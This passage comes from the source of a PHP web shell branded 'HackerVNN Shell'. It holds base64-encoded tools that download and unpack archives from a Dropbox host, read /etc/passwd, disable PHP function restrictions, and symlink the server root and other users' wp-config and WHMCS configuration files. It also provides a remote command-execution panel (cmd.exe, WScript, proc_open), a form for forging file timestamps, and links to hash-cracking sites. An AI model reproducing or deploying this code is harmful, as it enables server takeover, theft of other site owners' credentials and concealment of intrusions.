JOUlpTXdNREF3TURBaVBnbzhjRDVFYjI1bElDRWhQQzl3UGdvOGNENG1ibUp6Y0RzOEwzQStKenNLYVdZb0pFWlBVazE3ZEdGeWZTQnVaU0FpSWlsN0NtOXdaVzRvU1U1R1R5d2dJblJoY2k1MGJYQWlLVHNLUUd4cGJtVnpJRDA4U1U1R1R6NGdPd3BqYkc5elpTaEpUa1pQS1RzS2MzbHpkR1Z0S0VCc2FXNWxjeWs3Q25CeWFXNTBKenh3UGp4aElHaHlaV1k5SWljdUpFWlBVazE3ZEdGeWZTNG5MblJoY2lJK1BHWnZiblFnWTI5c2IzSTlJaU13TUVaR01EQWlQZ284YzNCaGJpQnpkSGxzWlQwaWRHVjRkQzFrWldOdmNtRjBhVzl1T2lCdWIyNWxJajVEYkdsamF5QklaWEpsSUZSdklFUnZkMjVzYjJGa0lGUmhjaUJHYVd4bFBDOXpjR0Z1UGp3dlptOXVkRDQ4TDJFK1BDOXdQaWM3Q24wS2ZRb2djSEpwYm5RaUNqd3ZZbTlrZVQ0S1BDOW9kRzFzUGlJNwonOwoKJGZpbGUgPSBmb3BlbigiY29uZmlnLml6byIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjb25maWdzaGVsbCkpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoImNvbmZpZy5pem8iLDA3NTUpOwogICBlY2hvICI8aWZyYW1lIHNyYz1hbGxjb25maWcvY29uZmlnLml6byB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTUnXSkpCnsKICAgIG1rZGlyKCdieXBhc3NiaW4nLDA3NTUpOwogICAgY2hkaXIoJ2J5cGFzc2JpbicpOwoKQGV4ZWMoJ2N1cmwgaHR0cDovL2RsLmRyb3Bib3guY29tL3UvNzQ0MjUzOTEvYnlwYXNzLnRhci5neiAtbyBieXBhc3MudGFyLmd6Jyk7CkBleGVjKCd0YXIgLXh2ZiBieXBhc3MudGFyLmd6Jyk7CkBleGVjKCdjaG1vZCA3NTUgLi9ieXBhc3MvbG4nKTsKQGV4ZWMoJy4vYnlwYXNzL2xuIC1zIC9ldGMvcGFzc3dkIDEucGhwJyk7CiAgIGVjaG8gIjxpZnJhbWUgc3JjPWJ5cGFzc2Jpbi8xLnBocCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDE2J10pKQp7CkBta2RpcigibXlzcWxkdW1wZXIiKTsKQGNoZGlyKCJteXNxbGR1bXBlciIpOwpAZXhlYygnY3VybCBodHRwOi8vZGwuZHJvcGJveC5jb20vdS83NDQyNTM5MS9teXNxbGR1bXBlci50YXIuZ3ogLW8gbXlzcWxkdW1wZXIudGFyLmd6Jyk7CkBleGVjKCd0YXIgLXh2ZiBteXNxbGR1bXBlci50YXIuZ3onKTsKCWVjaG8gIjxpZnJhbWUgc3JjPW15c3FsZHVtcGVyL2luZGV4LnBocCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KPz4KCiAgICAgICAgPHRkIGNsYXNzPSd0ZCcgc3R5bGU9J2JvcmRlci1ib3R0b20td2lkdGg6dGhpbjtib3JkZXItdG9wLXdpZHRoOnRoaW4nPjxmb3JtIG5hbWU9J0YxJyBtZXRob2Q9J3Bvc3QnPgogICAgICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4KCQkJICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxNCcgdmFsdWU9JyBDcmVhdCBQeXRob24gICc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTMnIHZhbHVlPScgQ3JlYXQgIENnaSAgICAnPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDExJyB2YWx1ZT0nMS5TeW0gQWxsIENvbmZpZyc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0NycgdmFsdWU9JzIuSHRhY2Nlc3MgQWxsIENvbmZpZyc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0NicgdmFsdWU9JzMuQnJ1dGUgQ3BhbmVsJz4KCQkJICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxNScgdmFsdWU9JyAvZXRjL3Bhc3N3ZCAgICc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTYnIHZhbHVlPScgTXkgU1FMIER1bXBlciAnPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDEwJyB2YWx1ZT0ndGFyIC14dmYgU3ltLnRhcic+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTInIHZhbHVlPScxLlN5bSBMaW5rIFVzZXIgJz4KCQkJICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0OScgdmFsdWU9JzIuSHRhY2Nlc3MgTGlzdCAnPgoJCQkgICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQ4JyB2YWx1ZT0nMy5IdGFjY2VzcyBFbXB0eSc+CgkJCSAgPC9mb3JtPgogICAgPC90ZD4KICAgCjwvYm9keT4KPC9odG1sPg==
1343';
1344 $file = fopen("bypass.php", "w+");
1345 $write = fwrite($file, base64_decode($perltoolss));
1346 fclose($file);
1347 echo "<iframe src=bypass.php width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1348} elseif ($action == 'md5') {
1349 echo "<iframe src=http://www.md5.cz/ width=100% height=400px frameborder=0></iframe> ";
1350} elseif ($action == 'crack') {
1351 echo "<iframe src=http://www.md5decrypter.co.uk/ width=100% height=400px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1352} elseif ($action == 'reverseip') {
1353 @exec('wget http://dl.dropbox.com/u/74425391/ip.tar.gz');
1354 @exec('tar -xvf ip.tar.gz');
1355 echo "<iframe src=ip/index.php width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1356} elseif ($action == 'editfile') {
1357 if (file_exists($opfile)) {
1358 $fp = @fopen($opfile, 'r');
1359 $contents = @fread($fp, filesize($opfile));
1360 @fclose($fp);
1361 $contents = htmlspecialchars($contents);
1362 }
1363 formhead(array('title' => 'Create / Edit File'));
1364 makehide('action', 'file');
1365 makehide('dir', $nowpath);
1366 makeinput(array('title' => 'Current File (import new file name and new file)', 'name' => 'editfilename', 'value' => $opfile, 'newline' => 1));
1367 maketext(array('title' => 'File Content', 'name' => 'filecontent', 'value' => $contents));
1368 formfooter();
1369} elseif ($action == 'newtime') {
1370 $opfilemtime = @filemtime($opfile);
1371 $cachemonth = array('January' => 1, 'February' => 2, 'March' => 3, 'April' => 4, 'May' => 5, 'June' => 6, 'July' => 7, 'August' => 8, 'September' => 9, 'October' => 10, 'November' => 11, 'December' => 12);
1372 formhead(array('title' => 'Clone file was last modified time'));
1373 makehide('action', 'file');
1374 makehide('dir', $nowpath);
1375 makeinput(array('title' => 'Alter file', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
1376 makeinput(array('title' => 'Reference file (fullpath)', 'name' => 'tarfile', 'size' => 120, 'newline' => 1));
1377 formfooter();
1378 formhead(array('title' => 'Set last modified'));
1379 makehide('action', 'file');
1380 makehide('dir', $nowpath);
1381 makeinput(array('title' => 'Current file (fullpath)', 'name' => 'curfile', 'value' => $opfile, 'size' => 120, 'newline' => 1));
1382 p('<p>Instead »');
1383 p('year:');
1384 makeinput(array('name' => 'year', 'value' => date('Y', $opfilemtime), 'size' => 4));
1385 p('month:');
1386 makeinput(array('name' => 'month', 'value' => date('m', $opfilemtime), 'size' => 2));
1387 p('day:');
1388 makeinput(array('name' => 'day', 'value' => date('d', $opfilemtime), 'size' => 2));
1389 p('hour:');
1390 makeinput(array('name' => 'hour', 'value' => date('H', $opfilemtime), 'size' => 2));
1391 p('minute:');
1392 makeinput(array('name' => 'minute', 'value' => date('i', $opfilemtime), 'size' => 2));
1393 p('second:');
1394 makeinput(array('name' => 'second', 'value' => date('s', $opfilemtime), 'size' => 2));
1395 p('</p>');
1396 formfooter();
1397} elseif ($action == 'symroot') {
1398 $file = fopen($dir . "symroot.php", "w+");
1399 $perltoolss = 'PD9waHANCiRoZWFkID0gJw0KPGh0bWw+DQo8aGVhZD4NCjwvc2NyaXB0Pg0KPHRpdGxlPi0tPT1bW1N5bSBsam5rIEFMbCBDb25GaWcgKyBTeW0gUm9vdCBieSBTTkFHXV09PS0tPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCg0KPFNUWUxFPg0KYm9keSB7DQpmb250LWZhbWlseTogVGFob21hDQp9DQp0ciB7DQpCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsNCmNvbG9yOiAjRkZGOw0KfQ0KdGQgew0KQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQpjb2xvcjogI0ZGRjsNCn0NCi50YWJsZTEgew0KQk9SREVSOiAwcHggQmxhY2s7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjRkZGOw0KfQ0KLnRkMSB7DQpCT1JERVI6IDBweDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDdwdCBWZXJkYW5hOw0KY29sb3I6IEdyZWVuOw0KfQ0KLnRyMSB7DQpCT1JERVI6IDBweDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCmNvbG9yOiAjRkZGOw0KfQ0KdGFibGUgew0KQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjRkZGOw0KfQ0KaW5wdXQgew0KYm9yZGVyCQkJOiBkYXNoZWQgMXB4Ow0KYm9yZGVyLWNvbG9yCQk6ICMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6IFJlZDsNCn0NCnNlbGVjdCB7DQpCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjREYwMDAwIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNERjAwMDAgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLWNvbG9yOiAjRkZGOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiA4cHQgVmVyZGFuYTsNCmNvbG9yOiBSZWQ7DQp9DQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCndpZHRoOiAzMCU7DQpjb2xvcjogI0ZGRjsNCn0NCnRleHRhcmVhIHsNCmJvcmRlcgkJCTogZGFzaGVkIDFweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICM5OTk7DQp9DQpCT0RZIHsNCglTQ1JPTExCQVItRkFDRS1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1TSEFET1ctY29sb3I6ICNGRkY7IFNDUk9MTEJBUi0zRExJR0hULWNvbG9yOiAjRkZGOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItVFJBQ0stY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLWNvbG9yOiAjRkZGDQptYXJnaW46IDFweDsNCmNvbG9yOiBSZWQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCn0NCi5tYWluIHsNCm1hcmdpbgkJCTogLTI4N3B4IDBweCAwcHggLTQ5MHB4Ow0KQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQp9DQoudHQgew0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoNCkE6bGluayB7DQoJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+JzsgPz4NCjxodG1sPg0KCTxoZWFkPg0KCQk8P3BocA0KZWNobyAkaGVhZDsNCmVjaG8gJw0KDQo8dGFibGUgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgY2xhc3M9InRiMSIgPg0KDQoJCQkNCg0KICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgYWxpZ249Y2VudGVyIHZhbGlnbj0idG9wIiByb3dzcGFuPSIxIj4NCiAgICAgICAgICAgPGZvbnQgY29sb3I9cmVkIHNpemU9NSBmYWNlPSJjb21pYyBzYW5zIG1zIj48Yj4tLT09W1sgU3ltIGxqbmsgQUxsIENvbkZpZzwvZm9udD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+ICAgKyBTeW0gUm9vdCA8L2ZvbnQ+PGZvbnQgY29sb3I9Z3JlZW4gc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPiBUZWFtIGJ5IFNOQUddXT09LS08L2ZvbnQ+IDxkaXYgY2xhc3M9ImhlZHIiPiANCg0KICAgICAgICA8dGQgaGVpZ2h0PSIxMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0ZDEiPjwvdGQ+PC90cj48dHI+PHRkIA0KICAgICAgICB3aWR0aD0iMTAwJSIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIHJvd3NwYW49IjEiPjxmb250IA0KICAgICAgICBjb2xvcj0icmVkIiBmYWNlPSJjb21pYyBzYW5zIG1zInNpemU9IjEiPjxiPiANCiAgICAgICAgCQkJCQkNCiAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgDQoNCic7DQo/Pg0KPGNlbnRlcj4NCjxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj4xLiBDcmVhdCBwaHAuaW5pIGZpbGU8L2ZvbnQ+PHA+DQo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9InVzZSB0byBHZW5lcmF0ZSBQSFAuaW5pIiAvPjwvZm9ybT4NCjxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj4yLiBHZXQgdXNlcm5hbWVzIGZvciBzeW1saW5rPC9mb250PjxwPg0KCTxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSJ1c3JlIiB2YWx1ZT0idXNlIHRvIEV4dHJhY3QgdXNlcm5hbWVzIiAvPjwvZm9ybT4NCgkNCgk8P3BocA0KaWYgKGlzc2V0KCRfUE9TVFsnaW5pJ10pKSB7DQogICAgJHIgPSBmb3BlbigncGhwLmluaScsICd3Jyk7DQogICAgJHJyID0gIiBkaXNiYWxlX2Z1bmN0aW9ucz1ub25lICI7DQogICAgZndyaXRlKCRyLCAkcnIpOw0KICAgICRsaW5rID0gIjxhIGhyZWY9cGhwLmluaT48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj48dT5vcGVuIFBIUC5JTkk8L3U+PC9mb250PjwvYT4iOw0KICAgIGVjaG8gJGxpbms7DQp9DQo/Pg0KCTw/cGhwDQppZiAoaXNzZXQoJF9QT1NUWyd1c3JlJ10pKSB7DQo/Pjxmb3JtIG1ldGhvZD1wb3N0Pg0KCTx0ZXh0YXJlYSByb3dzPTEwIGNvbHM9NTAgbmFtZT11c2VyPjw/cGhwICR1c2VycyA9IGZpbGUoIi9ldGMvcGFzc3dkIik7DQogICAgZm9yZWFjaCAoJHVzZXJzIGFzICR1c2VyKSB7DQogICAgICAgICRzdHIgPSBleHBsb2RlKCI6IiwgJHVzZXIpOw0KICAgICAgICBlY2hvICRzdHJbMF0gLiAiDQoiOw0KICAgIH0NCj8+PC90ZXh0YXJlYT48YnI+PGJyPg0KCTxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1IHZhbHVlPSJMZXRzIFN0YXJ0IiAvPjwvZm9ybT4NCgk8P3BocA0KfSA/Pg0KCTw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQplY2hvICI8Zm9udCBjb2xvcj1yZWQgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IjsNCmlmIChpc3NldCgkX1BPU1RbJ3N1J10pKSB7DQogICAgbWtkaXIoJ3N5bScsIDA3NzcpOw0KICAgICRyciA9ICIgT3B0aW9ucyBhbGwgDQogRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgDQogQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQogQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgDQogIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCANCiBBZGRIYW5kbGVyIHR4dCAuaHRtbCANCiBSZXF1aXJlIE5vbmUgDQogU2F0aXNmeSBBbnkiOw0KICAgICRnID0gZm9wZW4oJ3N5bS8uaHRhY2Nlc3MnLCAndycpOw0KICAgIGZ3cml0ZSgkZywgJHJyKTsNCiAgICAkU3ltID0gc3ltbGluaygiLyIsICJzeW0vcm9vdCIpOw0KICAgICRydCA9ICI8YSBocmVmPXN5bS9yb290Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9MyBmYWNlPVwiY29taWMgc2FucyBtc1wiPiBTeW08L2ZvbnQ+PC9hPiI7DQogICAgZWNobyAiUm9vdCAvIGZvbGRlciBzeW1saW5rIDxicj48dT4kcnQ8L3U+IjsNCiAgICAkZGlyID0gbWtkaXIoJ3N5bScsIDA3NzcpOw0KICAgICRyID0gIiBPcHRpb25zIGFsbCANCiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCANCiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCANCiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCANCiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIA0KIEFkZEhhbmRsZXIgdHh0IC5odG1sIA0KIFJlcXVpcmUgTm9uZSANCiBTYXRpc2Z5IEFueSI7DQogICAgJGYgPSBmb3Blbignc3ltLy5odGFjY2VzcycsICd3Jyk7DQogICAgZndyaXRlKCRmLCAkcik7DQogICAgJGNvbnN5bSA9ICI8YSBocmVmPXN5bS8+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+Y29uZmlndXJhdGlvbiBmaWxlczwvZm9udD48L2E+IjsNCiAgICBlY2hvICI8YnI+U3ltIExqbmsgQWxsIENvbkZpZyA8YnI+PHU+PGZvbnQgY29sb3I9cmVkIHNpemU9MiBmYWNlPVwiY29taWMgc2FucyBtc1wiPiRjb25zeW08L2ZvbnQ+PC91PiI7DQogICAgJHVzciA9IGV4cGxvZGUoIg0KIiwgJF9QT1NUWyd1c2VyJ10pOw0KICAgICRjb25maWd1cmF0aW9uID0gYXJyYXkoIndwLWNvbmZpZy5waHAiLCAid29yZHByZXNzL3dwLWNvbmZpZy5waHAiLCAiY29uZmlndXJhdGlvbi5waHAiLCAiYmxvZy93cC1jb25maWcucGhwIiwgImpvb21sYS9jb25maWd1cmF0aW9uLnBocCIsICJ2Yi9pbmNsdWRlcy9jb25maWcucGhwIiwgImluY2x1ZGVzL2NvbmZpZy5waHAiLCAiY29uZl9nbG9iYWwucGhwIiwgImluYy9jb25maWcucGhwIiwgImNvbmZpZy5waHAiLCAiU2V0dGluZ3MucGhwIiwgInNpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiwgIndobS9jb25maWd1cmF0aW9uLnBocCIsICJ3aG1jcy9jb25maWd1cmF0aW9uLnBocCIsICJzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwgIndobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwIiwgIndobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCIsICJ3aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAiLCAic3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCIsICJjbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwIiwgImNsaWVudC9jb25maWd1cmF0aW9uLnBocCIsICJjbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCIsICJjbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwIiwgImNsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCAiYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCIsICJhZG1pbi9jb25maWcucGhwIik7DQogICAgZm9yZWFjaCAoJHVzciBhcyAkdXNzKSB7DQogICAgICAgICR1cyA9IHRyaW0oJHVzcyk7DQogICAgICAgIGZvcmVhY2ggKCRjb25maWd1cmF0aW9uIGFzICRjKSB7DQogICAgICAgICAgICAkcnMgPSAiL2hvbWUvIiAuICR1cyAuICIvcHVibGljX2h0bWwvIiAuICRjOw0KICAgICAgICAgICAgJHIgPSAic3ltLyIgLiAkdXMgLiAiIC4uICIgLiAkYzsNCiAgICAgICAgICAgIHN5bWxpbmsoJHJzLCAkcik7DQogICAgICAgIH0NCiAgICB9DQp9DQo/Pg0KPC9jZW50ZXI+
1400';
1401 $file = fopen("symroot.php", "w+");
1402 $write = fwrite($file, base64_decode($perltoolss));
1403 fclose($file);
1404 echo "<iframe src=symroot.php width=100% height=720px frameborder=0></iframe> ";
1405}
1406if ($action == 'shell') {
1407 if (IS_WIN && IS_COM) {
1408 if ($program && $parameter) {
1409 $shell = new COM('Shell.Application');
1410 $a = $shell->ShellExecute($program, $parameter);
1411 m('Program run has ' . (!$a ? 'success' : 'fail'));
1412 }
1413 !$program && $program = 'c:\windows\system32\cmd.exe';
1414 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1415 formhead(array('title' => 'Execute Program'));
1416 makehide('action', 'shell');
1417 makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
1418 p('<p>');
1419 makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
1420 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1421 p('</p>');
1422 formfoot();
1423 }
1424 formhead(array('title' => 'Execute Command'));
1425 makehide('action', 'shell');
1426 if (IS_WIN && IS_COM) {
1427 $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
1428 makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
1429 }
1430 p('<p>');
1431 makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
1432 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1433 p('</p>');
1434 formfoot();
1435 if ($command) {
1436 p('<hr width="100%" noshade /><pre>');
1437 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1438 $wsh = new COM('WScript.shell');
1439 $exec = $wsh->exec('cmd.exe /c ' . $command);
1440 $stdout = $exec->StdOut();
1441 $stroutput = $stdout->ReadAll();
1442 echo $stroutput;
1443 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1444 $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
1445 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1446 if (is_resource($process)) {
1447 fwrite($pipes[0], $command . "\r\n");
1448 fwrite($pipes[0], "exit\r\n");
1449 fclose($pipes[0]);
1450 while (!feof($pipes[1])) {
1451 echo fgets($pipes[1], 1024);
1452 }
1453 fclose($pipes[1]);
1454 while (!feof($pipes[2])) {
1455 echo fgets($pipes[2], 1024);
1456 }
1457 fclose($pipes[2]);
1458 proc_close($process);
1459 }
1460 } else {
1461 echo (execute($command));
1462 }
1463 p('</pre>');
1464 }
1465};
1466echo '</td></tr></table>
1467<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1468 <span style="float:right;">';
1469debuginfo();
1470ob_end_flush();;
1471echo '</span>
1472 Copyright @ 2014 HackerPro536 <a href=http://google.com target=_blank><B>.:: HackerVNN Shell ::. </B></a>
1473</div>
1474</body>
1475</html>
1476';
1477function m($msg) {
1478 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1479 echo $msg;
1480 echo '</div>';
1481}
1482function scookie($key, $value, $life = 0, $prefix = 1) {
1483 global $admin, $timestamp, $_SERVER;
1484 $key = ($prefix ? $admin['cookiepre'] : '') . $key;
1485 $life = $life ? $life : $admin['cookielife'];
1486 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1487 setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1488}
1489function multi($num, $perpage, $curpage, $tablename) {
1490 $multipage = '';
1491 if ($num > $perpage) {
1492 $page = 10;
1493 $offset = 5;
1494 $pages = @ceil($num / $perpage);
1495 if ($page > $pages) {
1496 $from = 1;
1497 $to = $pages;
1498 } else {
1499 $from = $curpage - $offset;
1500 $to = $curpage + $page - $offset - 1;
1501 if ($from < 1) {
1502 $to = $curpage + 1 - $from;
1503 $from = 1;
1504 if (($to - $from) < $page && ($to - $from) < $pages) {
1505 $to = $page;
1506 }
1507 } elseif ($to > $pages) {
1508 $from = $curpage - $pages + $to;
1509 $to = $pages;
1510 if (($to - $from) < $page && ($to - $from) < $pages) {
1511 $from = $pages - $page + 1;
1512 }
1513 }
1514 }
1515 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
1516 for ($i = $from;$i <= $to;$i++) {
1517 $multipage.= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
1518 }
1519 $multipage.= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
1520 $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
1521 }
1522 return $multipage;
1523}
1524function loginpage() {;
1525 echo '<html>
1526<head>
1527
1528<body bgcolor=black background=1.jpg>
1529
1530 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1531<title>.:: HackerPro536 Shell ::. </title>
1532<style type="text/css">
1533A:link {text-decoration: none; color: green }
1534A:visited {text-decoration: none;color:red}
1535A:active {text-decoration: none}
1536A:hover {text-decoration: underline; color: green;}
1537input, textarea, button
1538{
1539 font-size: 11pt;
1540 color: #FFFFFF;
1541 font-family: verdana, sans-serif;
1542 background-color: #000000;
1543 border-left: 2px dashed #8B0000;
1544 border-top: 2px dashed #8B0000;
